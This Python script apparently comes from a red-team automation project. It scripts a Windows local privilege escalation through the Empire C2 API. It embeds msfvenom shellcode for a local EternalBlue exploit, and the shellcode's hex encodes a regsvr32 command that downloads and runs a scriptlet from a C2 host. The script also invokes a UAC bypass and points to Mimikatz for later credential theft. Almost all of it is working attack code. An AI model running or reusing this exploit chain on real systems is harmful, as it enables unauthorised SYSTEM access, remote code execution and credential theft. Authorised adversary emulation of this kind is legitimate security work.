local_EoP_example.py

""" This example demonstrates procedure scripting
    We aim to make procedure agnostic to techniques which could
    be achieved with Empire, Metasploit or whatever pen-test framework that
    supports APIs. In this case, we use Empire.
"""
import sys, os
from c2_settings import EMPIRE_SERVER, EMPIRE_USER, EMPIRE_PWD
from EmpireAPIWrapper import empireAPI
from autocomplete.empire import privesc
from stage2.external_c2 import empire_wait_for_agent, empire_get_timestamp
from stage3.internal_reconn.windows import empire_is_user_admin
from stage3.escalate_privilege.windows import empire_bypassUAC, empire_localEternalBlue

try: 
    # use a common API context instead of a new instance per technique script
    API = empireAPI(EMPIRE_SERVER, uname=EMPIRE_USER, passwd=EMPIRE_PWD)
    # we assume there's a non-privilege agent, some stager was executed before
    agent = empire_wait_for_agent.run(API) # gets first agent since no hostname is given
    hostname = agent['hostname']
    admin_type = empire_is_user_admin.run(API, agent['name']) 
    # to assist data labelling, we timestamp with reference to target machine
    timestamp = empire_get_timestamp.run(API, agent['name'])
    print(timestamp + ' starting local EoP') # or log this
    if admin_type is None: # shellcode generated from msfvenom: "regsvr32 ... launcher.sct scrobj.dll"
        shellcode = "0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x0,0x0,0x0,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0xf,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x2,0x2c,0x20,0x41,0xc1,0xc9,0xd,0x41,0x1,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x1,0xd0,0x8b,0x80,0x88,0x0,0x0,0x0,0x48,0x85,0xc0,0x74,0x67,0x48,0x1,0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x1,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x1,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0xd,0x41,0x1,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x3,0x4c,0x24,0x8,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x1,0xd0,0x66,0x41,0x8b,0xc,0x48,0x44,0x8b,0x40,0x1c,0x49,0x1,0xd0,0x41,0x8b,0x4,0x88,0x48,0x1,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x1,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x48,0x8d,0x8d,0x1,0x1,0x0,0x0,0x41,0xba,0x31,0x8b,0x6f,0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,0x3c,0x6,0x7c,0xa,0x80,0xfb,0xe0,0x75,0x5,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x0,0x59,0x41,0x89,0xda,0xff,0xd5,0x72,0x65,0x67,0x73,0x76,0x72,0x33,0x32,0x2e,0x65,0x78,0x65,0x20,0x2f,0x73,0x20,0x2f,0x75,0x20,0x2f,0x6e,0x20,0x2f,0x69,0x3a,0x68,0x74,0x74,0x70,0x3a,0x2f,0x2f,0x65,0x6d,0x70,0x69,0x72,0x65,0x63,0x32,0x3a,0x38,0x30,0x30,0x30,0x2f,0x6c,0x2e,0x73,0x63,0x74,0x20,0x73,0x63,0x72,0x6f,0x62,0x6a,0x2e,0x64,0x6c,0x6c,0x0"
        empire_localEternalBlue.run(API, agent['name'], shellcode)
        agent = empire_wait_for_agent.run(API, hostname, True, 120)
        if agent is not None:
            print('yeay!!! we got an SYSTEM user')
        exit
    empire_bypassUAC.run(API, agent['name'], privesc.bypassuac_wscript.path)
    # wait for privileged agent for 120 seconds
    agent = empire_wait_for_agent.run(API, hostname, True, 120)
    if agent is not None:
        print('yeay!!! we got an {0} admin user'.format(admin_type))    
        # you can run Mimikatz or any privilege activities...    
    timestamp = empire_get_timestamp.run(API, agent['name'])
    print(timestamp + ' ended local EoP') # or log this
except Exception as e:
    exc_type, exc_obj, exc_tb = sys.exc_info()
    fname = os.path.split(exc_tb.tb_frame.f_code.co_filename)[1]
    print(exc_type, fname, exc_tb.tb_lineno) # provides exact line #
    print("Oops: " + str(e))